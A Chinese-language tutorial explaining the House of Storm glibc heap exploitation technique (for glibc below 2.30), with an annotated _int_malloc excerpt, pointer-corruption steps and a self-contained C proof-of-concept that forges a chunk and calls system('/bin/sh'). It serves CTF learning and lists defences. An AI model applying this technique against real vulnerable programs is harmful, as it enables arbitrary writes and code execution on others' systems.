回炉重修之house of storm 源码分析和调试
字数 2207 2025-08-22 22:47:39
House of Storm 攻击技术详解
1. 原理概述
House of Storm 是一种结合了 unsorted bin attack 和 Largebin attack 的高级堆利用技术,能够在特定条件下实现任意地址写。该技术主要针对 glibc 版本低于 2.30 的系统,因为 2.30 之后加入了安全检查机制。
2. 利用条件
要成功实施 House of Storm 攻击,需要满足以下条件:
- glibc 版本:必须小于 2.30(因为 2.30 之后加入了检查机制)
- 堆布局要求:
- 需要在 largebin 和 unsorted_bin 中分别布置一个 chunk
- 这两个 chunk 在归位后必须处于同一个 largebin 的 index 中
- unsortedbin 中的 chunk 要比 largebin 中的大
- 指针控制:
- 需要控制 unsorted_bin 中的 bk 指针
- 需要控制 largebin 中的 bk 指针和 bk_nextsize 指针
3. 技术原理详解
3.1 核心思想
House of Storm 的核心在于同时利用两种攻击技术:
- unsorted bin attack:用于修改 unsorted_chunks(av)->bk 指针
- Largebin attack:用于修改目标地址的 size 字段
通过这两种攻击的结合,可以构造一个伪造的 chunk 并通过 malloc 返回,最终实现任意地址写。
3.2 关键代码分析
攻击主要发生在 _int_malloc 函数处理 unsorted bin 的过程中:
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
size = chunksize(victim);
// ... 省略检查代码 ...
// 从 unsorted bin 中移除 victim
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
// 将 victim 放入对应的 bin 中
if (in_smallbin_range(size)) {
// 放入 small bin
} else {
// 放入 large bin
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
if (fwd != bck) {
size |= PREV_INUSE;
if ((unsigned long)(size) < (unsigned long)(bck->bk->size)) {
// 处理最小 size 的情况
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
} else {
// 查找合适的位置插入
while ((unsigned long)size < fwd->size) {
fwd = fwd->fd_nextsize;
}
if ((unsigned long)size == (unsigned long)fwd->size) {
fwd = fwd->fd;
} else {
// 插入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else {
victim->fd_nextsize = victim->bk_nextsize = victim;
}
}
// 将 victim 加入到 large bin 的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
3.3 攻击流程
-
布局堆内存:
- 在 unsorted bin 中布置一个较大的 chunk
- 在 large bin 中布置一个稍小的 chunk
- 确保两个 chunk 在同一个 large bin index 中
-
修改指针:
- 修改 unsorted bin chunk 的 bk 指针指向目标地址 (fake_chunk)
- 修改 large bin chunk 的 bk 指针指向 fake_chunk+8
- 修改 large bin chunk 的 bk_nextsize 指针指向 fake_chunk-0x18-5
-
触发攻击:
- 通过 malloc 触发 unsorted bin 处理流程
- 同时触发 unsorted bin attack 和 large bin attack
-
伪造 chunk:
- unsorted bin attack 修改 unsorted_chunks(av)->bk 为 fake_chunk
- large bin attack 在 fake_chunk+0x3 处写入堆地址 (0x55 或 0x56)
- 这使得 fake_chunk 的 size 字段被设置为 0x55 或 0x56
-
绕过检查:
- 关键检查在
_libc_malloc中:assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim))); - 0x56 (01010110) 可以通过检查,因为 IS_MMAPPED 位被设置
- 0x55 (01010101) 无法通过检查
- 关键检查在
4. 示例代码分析
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;
int main() {
unsigned long *large_chunk, *unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;
// 布局堆内存
unsorted_chunk = malloc(0x418);
malloc(0X20);
large_chunk = malloc(0x408);
malloc(0x20);
// 释放 chunk 到 bins 中
free(large_chunk);
free(unsorted_chunk);
unsorted_chunk = malloc(0x418);
free(unsorted_chunk);
// 修改指针准备攻击
unsorted_chunk[1] = (unsigned long)fake_chunk; // unsorted bin bk
large_chunk[1] = (unsigned long)fake_chunk + 8; // large bin bk
large_chunk[3] = (unsigned long)fake_chunk - 0x18 - 5; // large bin bk_nextsize
// 触发攻击
ptr = malloc(0x48);
// 利用
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));
return 0;
}
5. 调试要点
-
堆布局阶段:
- 创建 unsorted_chunk (0x418) 和 large_chunk (0x408)
- 通过释放和重新分配确保它们进入正确的 bins
-
指针修改阶段:
- unsorted_chunk[1] 修改 bk 指针
- large_chunk[1] 修改 bk 指针
- large_chunk[3] 修改 bk_nextsize 指针
-
攻击触发阶段:
- 观察 unsorted bin attack 如何修改 unsorted_chunks(av)->bk
- 观察 large bin attack 如何修改 fake_chunk+0x3 处的值
-
伪造 chunk 检查:
- 确认 fake_chunk 的 size 字段被设置为 0x55 或 0x56
- 只有 0x56 能通过后续的 assert 检查
6. 注意事项
-
分配大小选择:
- 通常使用 malloc(0x48) 触发攻击
- 因为 fake_chunk 的 size 被视为 0x50 范围
- 也可以使用 0x47 或 0x45,但会影响覆盖的完整性
-
字节对齐问题:
- malloc(0x45) 会导致覆盖少两字节
- malloc(0x46) 会导致覆盖少一字节
- malloc(0x48) 和 malloc(0x47) 都可以使用
-
利用目标:
- 通常用于覆盖 hook 函数(如 __malloc_hook)
- 也可以用于构造 fake chunk 实现任意地址读写
7. 防御措施
- 升级 glibc:版本 2.30 及以上已经修复此问题
- 加强堆指针检查:验证 unsorted bin 和 large bin 中的指针有效性
- 启用安全机制:如 ASLR、FORTIFY_SOURCE 等
8. 参考资源
- 原始文章:回炉重修之house of storm 源码分析和调试
- glibc 源码分析
- 相关 CTF 题目解析
通过深入理解 House of Storm 攻击技术,可以更好地防御此类攻击,并在 CTF 比赛中有效利用此类技术解决难题。